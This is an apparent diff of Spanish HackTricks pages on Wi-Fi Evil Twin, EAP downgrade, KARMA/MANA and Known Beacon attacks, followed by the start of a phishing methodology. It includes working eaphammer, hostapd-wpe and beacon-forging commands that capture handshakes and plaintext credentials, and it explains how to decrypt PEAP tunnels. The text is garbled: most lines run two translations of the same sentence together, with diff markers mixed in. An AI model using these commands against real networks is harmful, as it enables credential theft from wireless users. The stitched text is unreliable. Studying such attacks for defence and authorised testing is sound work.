O utilizando Airgeddon: `Opciones: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).` O usando Airgeddon: `Options: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).`
![](<../../.gitbook/assets/image (1088).png>) ![](<../../.gitbook/assets/image (1088).png>)
Por favor, ten en cuenta que por defecto, si un ESSID en la PNL está guardado como protegido con WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar realizar un DoS al AP real y esperar a que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías realizar un DoS al AP real y usar un Evil Twin con WPA para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces la PSK, pero puedes capturar el handshake e intentar crackearlo). Por favor, ten en cuenta que por defecto, si un ESSID en el PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar hacer un DoS al AP real y esperar que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías hacer un DoS al AP real y usar un WPA Evil Twin para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces el PSK, pero puedes capturar el handshake e intentar crackearlo).
_Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._ _Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._
### Evil Twin WPA/WPA2 ### WPA/WPA2 Evil Twin
Puedes crear un **Evil Twin utilizando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todas formas, **para completar el handshake de 4 vías** también necesitas **saber** la **contraseña** que el cliente va a utilizar. Si **no la conoces**, la **conexión no se completará**. Puedes crear un **Evil Twin usando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todos modos, **para completar el 4-way-handshake** también necesitas **conocer** la **contraseña** que el cliente va a usar. Si **no la conoces**, la **conexión no se completará**.
```bash ```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
``` ```
### Evil Twin Empresarial ### Enterprise Evil Twin
Para entender estos ataques, recomendaría leer antes la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt). Para entender estos ataques, recomendaría leer antes la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt).
**Usando hostapd-wpe** **Usando hostapd-wpe**
`hostapd-wpe` necesita un archivo de **configuración** para funcionar. Para **automatizar** la generación de estas configuraciones, podrías utilizar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (descarga el archivo python dentro de _/etc/hostapd-wpe/_). `hostapd-wpe` necesita un **archivo de configuración** para funcionar. Para **automatizar** la generación de estas configuraciones, podrías usar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (descarga el archivo de python dentro de _/etc/hostapd-wpe/_).
```bash ```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s hostapd-wpe ./victim/victim.conf -s
``` ```
En el archivo de configuración puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión de wpa y autenticación... En el archivo de configuración, puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión wpa y auth...
[**Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.**](evil-twin-eap-tls.md) [**Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.**](evil-twin-eap-tls.md)
@ -587,60 +590,60 @@ En el archivo de configuración puedes seleccionar muchas cosas diferentes como
# Launch Attack # Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
``` ```
Por defecto, EAPHammer utiliza estos métodos de autenticación (nota GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos): Por defecto, EAPHammer propone estos métodos de autenticación (nota GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):
``` ```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
``` ```
Este es el método predeterminado para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes: Esta es la metodología predeterminada para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débil a más fuerte:
``` ```
--negotiate weakest --negotiate weakest
``` ```
O también puedes usar: O también podrías usar:
* `--negotiate gtc-downgrade` para utilizar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano) * `--negotiate gtc-downgrade` para usar una implementación de GTC downgrade altamente eficiente (contraseñas en texto plano)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar). * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
* [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Usando Airgeddon** **Usando Airgeddon**
`Airgeddon` puede usar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Más tarde, el atacante puede intentar descifrar la contraseña.\ `Airgeddon` puede usar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Luego, el atacante puede intentar descifrar la contraseña.\
`Airggedon` te ofrece la posibilidad de un **ataque de Evil Twin continuo (ruidoso)** o **solo crear el Evil Attack hasta que alguien se conecte (discreto).** `Airgeddon` te ofrece la posibilidad de un **ataque continuo de Evil Twin (ruidoso)** o **solo crear el ataque Evil hasta que alguien se conecte (suave).**
![](<../../.gitbook/assets/image (936).png>) ![](<../../.gitbook/assets/image (936).png>)
### Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins ### Depurando túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins
_Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_ _Este método fue probado en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_
Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\ Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**. Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. También inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin. Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin.
Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` Ahora o más tarde (cuando ya hayas capturado algunas intenciones de autenticación) puedes agregar la clave RSA privada a wireshark en: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = datos** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin protección con contraseña**). Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = data** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin estar protegido por contraseña**).
![](<../../.gitbook/assets/image (687).png>) ![](<../../.gitbook/assets/image (687).png>)
Y observa la nueva pestaña **"TLS descifrado"**: Y mira la nueva **pestaña "TLS descifrado"**:
![](<../../.gitbook/assets/image (231).png>) ![](<../../.gitbook/assets/image (231).png>)
## Ataque KARMA, MANA, MANA ruidoso y Beacons conocidos ## KARMA, MANA, Loud MANA y ataque de balizas conocidas
### Listas negras y blancas de ESSID y MAC ### Listas negras/blancas de ESSID y MAC
Diferentes tipos de Listas de Filtro de Control de Acceso a Medios (MFACLs) y sus modos correspondientes y efectos en el comportamiento de un Punto de Acceso (AP) falso: Diferentes tipos de Listas de Filtros de Control de Acceso a Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) malicioso:
1. **Lista blanca basada en MAC**: 1. **Lista blanca basada en MAC**:
* El AP falso responderá solo a las solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados. * El AP malicioso solo responderá a solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados.
2. **Lista negra basada en MAC**: 2. **Lista negra basada en MAC**:
* El AP falso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo efectivamente invisible al AP falso para esos dispositivos específicos. * El AP malicioso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo que el AP malicioso sea invisible para esos dispositivos específicos.
3. **Lista blanca basada en SSID**: 3. **Lista blanca basada en SSID**:
* El AP falso responderá solo a las solicitudes de sondeo de ESSIDs específicos enumerados, haciéndose invisible para dispositivos cuyas Listas de Redes Preferidas (PNLs) no contienen esos ESSIDs. * El AP malicioso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuya Lista de Redes Preferidas (PNLs) no contenga esos ESSIDs.
4. **Lista negra basada en SSID**: 4. **Lista negra basada en SSID**:
* El AP falso no responderá a las solicitudes de sondeo de los ESSIDs específicos en la lista negra, haciéndose invisible para los dispositivos que buscan esas redes particulares. * El AP malicioso no responderá a solicitudes de sondeo para los ESSIDs específicos en la lista negra, haciéndolo invisible para dispositivos que buscan esas redes particulares.
```bash ```bash
# example EAPHammer MFACL file, wildcards can be used # example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af 09:6a:06:c8:36:af
@ -662,33 +665,33 @@ name3
``` ```
### KARMA ### KARMA
Este método permite a un **atacante crear un punto de acceso (AP) malicioso que responde a todas las solicitudes de sondeo** de dispositivos que buscan conectarse a redes. Esta técnica **engaña a los dispositivos para que se conecten al AP del atacante** imitando las redes que los dispositivos están buscando. Una vez que un dispositivo envía una solicitud de conexión a este AP falso, completa la conexión, lo que lleva al dispositivo a conectarse erróneamente a la red del atacante. Este método permite a un **atacante crear un punto de acceso (AP) malicioso que responde a todas las solicitudes de sondeo** de dispositivos que buscan conectarse a redes. Esta técnica **engaña a los dispositivos para que se conecten al AP del atacante** al imitar las redes que los dispositivos están buscando. Una vez que un dispositivo envía una solicitud de conexión a este AP malicioso, completa la conexión, llevando al dispositivo a conectarse erróneamente a la red del atacante.
### MANA ### MANA
Luego, **los dispositivos comenzaron a ignorar las respuestas de red no solicitadas**, reduciendo la efectividad del ataque karma original. Sin embargo, se introdujo un nuevo método, conocido como el **ataque MANA**, por Ian de Villiers y Dominic White. Este método implica que el AP malicioso **capture las Listas de Redes Preferidas (PNL) de los dispositivos respondiendo a sus solicitudes de sondeo de difusión** con nombres de redes (SSIDs) previamente solicitados por los dispositivos. Este sofisticado ataque evade las protecciones contra el ataque karma original al explotar la forma en que los dispositivos recuerdan y priorizan las redes conocidas. Luego, **los dispositivos comenzaron a ignorar las respuestas de red no solicitadas**, reduciendo la efectividad del ataque karma original. Sin embargo, se introdujo un nuevo método, conocido como el **ataque MANA**, por Ian de Villiers y Dominic White. Este método implica que el AP malicioso **captura las Listas de Redes Preferidas (PNL) de los dispositivos al responder a sus solicitudes de sondeo de difusión** con nombres de red (SSIDs) previamente solicitados por los dispositivos. Este ataque sofisticado elude las protecciones contra el ataque karma original al explotar la forma en que los dispositivos recuerdan y priorizan las redes conocidas.
El ataque MANA opera monitoreando tanto las solicitudes de sondeo dirigidas como las de difusión de los dispositivos. Para las solicitudes dirigidas, registra la dirección MAC del dispositivo y el nombre de red solicitado, agregando esta información a una lista. Cuando se recibe una solicitud de difusión, el AP responde con información que coincide con cualquiera de las redes en la lista del dispositivo, atrayendo al dispositivo a conectarse al AP malicioso. El ataque MANA opera monitoreando tanto las solicitudes de sondeo dirigidas como las de difusión de los dispositivos. Para las solicitudes dirigidas, registra la dirección MAC del dispositivo y el nombre de la red solicitada, añadiendo esta información a una lista. Cuando se recibe una solicitud de difusión, el AP responde con información que coincide con cualquiera de las redes en la lista del dispositivo, incitando al dispositivo a conectarse al AP malicioso.
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
### Ataque Loud MANA ### Loud MANA
Un ataque de **Loud MANA** es una estrategia avanzada para cuando los dispositivos no utilizan sondeos dirigidos o cuando sus Listas de Redes Preferidas (PNL) son desconocidas para el atacante. Opera bajo el principio de que **los dispositivos en la misma área probablemente compartan algunos nombres de red en sus PNL**. En lugar de responder selectivamente, este ataque transmite respuestas de sondeo para cada nombre de red (ESSID) encontrado en las PNL combinadas de todos los dispositivos observados. Este enfoque amplio aumenta la posibilidad de que un dispositivo reconozca una red familiar e intente conectarse al Punto de Acceso (AP) falso. Un **ataque Loud MANA** es una estrategia avanzada para cuando los dispositivos no utilizan sondeos dirigidos o cuando sus Listas de Redes Preferidas (PNL) son desconocidas para el atacante. Funciona sobre el principio de que **los dispositivos en la misma área probablemente compartan algunos nombres de red en sus PNL**. En lugar de responder de manera selectiva, este ataque transmite respuestas de sondeo para cada nombre de red (ESSID) encontrado en las PNL combinadas de todos los dispositivos observados. Este enfoque amplio aumenta la posibilidad de que un dispositivo reconozca una red familiar e intente conectarse al Punto de Acceso (AP) malicioso.
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
``` ```
### Ataque de Beacon Conocido ### Known Beacon attack
Cuando el ataque **Loud MANA** puede no ser suficiente, el **ataque de Beacon Conocido** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de posibles ESSIDs** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de que coincida un ESSID dentro de la PNL de la víctima, provocando un intento de conexión al AP fabricado. El ataque puede ser amplificado al combinarlo con la opción `--loud` para un intento más agresivo de atrapar dispositivos. Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos.
Eaphammer implementó este ataque como un ataque MANA donde todos los ESSIDs dentro de una lista son cargados (también se puede combinar con `--loud` para crear un ataque Loud MANA + Beacon Conocido): Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs dentro de una lista son cargados (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons):
```bash ```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
**Ataque de Ráfaga de Balizas Conocidas** **Ataque de Beacon Burst Conocido**
El **ataque de Ráfaga de Balizas Conocidas** implica **la transmisión rápida de tramas de balizas para cada ESSID enumerado en un archivo**. Esto crea un entorno denso de redes falsas, aumentando en gran medida la probabilidad de que los dispositivos se conecten al AP malicioso, especialmente cuando se combina con un ataque MANA. Esta técnica aprovecha la velocidad y el volumen para abrumar los mecanismos de selección de red de los dispositivos. El **ataque de Beacon Burst Conocido** implica **la transmisión rápida de tramas de beacon para cada ESSID listado en un archivo**. Esto crea un entorno denso de redes falsas, aumentando considerablemente la probabilidad de que los dispositivos se conecten al AP malicioso, especialmente cuando se combina con un ataque MANA. Esta técnica aprovecha la velocidad y el volumen para abrumar los mecanismos de selección de red de los dispositivos.
```bash ```bash
# transmit a burst of 5 forged beacon packets for each entry in list # transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \ ./forge-beacons -i wlan1 \
@ -699,21 +702,21 @@ El **ataque de Ráfaga de Balizas Conocidas** implica **la transmisión rápida
``` ```
## Wi-Fi Direct ## Wi-Fi Direct
**Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las cosas (IoT), como impresoras y televisores, facilitando la comunicación directa de dispositivo a dispositivo. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión. **Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin la necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión.
La seguridad para las conexiones de Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para emparejamiento seguro, incluidos: La seguridad para las conexiones Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para emparejamiento seguro, incluyendo:
* **Configuración de botón de empuje (PBC)** * **Push-Button Configuration (PBC)**
* **Entrada de PIN** * **PIN entry**
* **Comunicación de campo cercano (NFC)** * **Near-Field Communication (NFC)**
Estos métodos, especialmente la entrada de PIN, son susceptibles a las mismas vulnerabilidades que WPS en las redes Wi-Fi tradicionales, lo que los convierte en objetivos para vectores de ataque similares. Estos métodos, particularmente la entrada de PIN, son susceptibles a las mismas vulnerabilidades que WPS en redes Wi-Fi tradicionales, convirtiéndolos en objetivos para vectores de ataque similares.
### Secuestro de EvilDirect ### EvilDirect Hijacking
**Secuestro de EvilDirect** es un ataque específico para Wi-Fi Direct. Refleja el concepto de un ataque de Evil Twin pero se dirige a las conexiones de Wi-Fi Direct. En este escenario, un atacante se hace pasar por un propietario de grupo legítimo con el objetivo de engañar a los dispositivos para que se conecten a una entidad maliciosa. Este método se puede ejecutar utilizando herramientas como `airbase-ng` especificando el canal, ESSID y la dirección MAC del dispositivo suplantado: **EvilDirect Hijacking** es un ataque específico de Wi-Fi Direct. Refleja el concepto de un ataque Evil Twin pero se dirige a las conexiones Wi-Fi Direct. En este escenario, un atacante se hace pasar por un propietario de grupo legítimo con el objetivo de engañar a los dispositivos para que se conecten a una entidad maliciosa. Este método se puede ejecutar utilizando herramientas como `airbase-ng` especificando el canal, ESSID y dirección MAC del dispositivo suplantado:
## Referencias ## References
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) * [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) * [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
@ -726,33 +729,34 @@ Estos métodos, especialmente la entrada de PIN, son susceptibles a las mismas v
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) * [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (inicio de sesión con Facebook e imitación de WPA en portales cautivos) TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Perspectivas de Hacking**\ **Hacking Insights**\
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking Engage with content that delves into the thrill and challenges of hacking
**Noticias de Hacking en Tiempo Real**\ **Real-Time Hack News**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real Keep up-to-date with fast-paced hacking world through real-time news and insights
**Últimos Anuncios**\ **Latest Announcements**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma Stay informed with the newest bug bounties launching and crucial platform updates
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy! **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# Metodología de Phishing # Metodología de Phishing
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
## Metodología ## Metodología
1. Reconocer a la víctima 1. Reconocer a la víctima
1. Seleccionar el **dominio de la víctima**. 1. Seleccionar el **dominio de la víctima**.
2. Realizar una enumeración web básica **buscando portales de inicio de sesión** utilizados por la víctima y **decidir** cuál vas a **suplantar**. 2. Realizar una enumeración web básica **buscando portales de inicio de sesión** utilizados por la víctima y **decidir** cuál vas a **suplantar**.
3. Utilizar **OSINT** para **encontrar correos electrónicos**. 3. Usar **OSINT** para **encontrar correos electrónicos**.
2. Preparar el entorno 2. Preparar el entorno
1. **Comprar el dominio** que vas a utilizar para la evaluación de phishing 1. **Comprar el dominio** que vas a usar para la evaluación de phishing.
2. **Configurar los registros relacionados con el servicio de correo electrónico** (SPF, DMARC, DKIM, rDNS) 2. **Configurar el servicio de correo** relacionado (SPF, DMARC, DKIM, rDNS).
3. Configurar el VPS con **gophish** 3. Configurar el VPS con **gophish**.
3. Preparar la campaña 3. Preparar la campaña
1. Preparar la **plantilla de correo electrónico** 1. Preparar la **plantilla de correo electrónico**.
2. Preparar la **página web** para robar las credenciales 2. Preparar la **página web** para robar las credenciales.
4. ¡Lanzar la campaña! 4. ¡Lanzar la campaña!
## Generar nombres de dominio similares o comprar un dominio de confianza ## Generar nombres de dominio similares o comprar un dominio de confianza
@ -35,15 +36,15 @@ Otras formas de apoyar a HackTricks:
* **Palabra clave**: El nombre de dominio **contiene** una **palabra clave** importante del dominio original (por ejemplo, zelster.com-management.com). * **Palabra clave**: El nombre de dominio **contiene** una **palabra clave** importante del dominio original (por ejemplo, zelster.com-management.com).
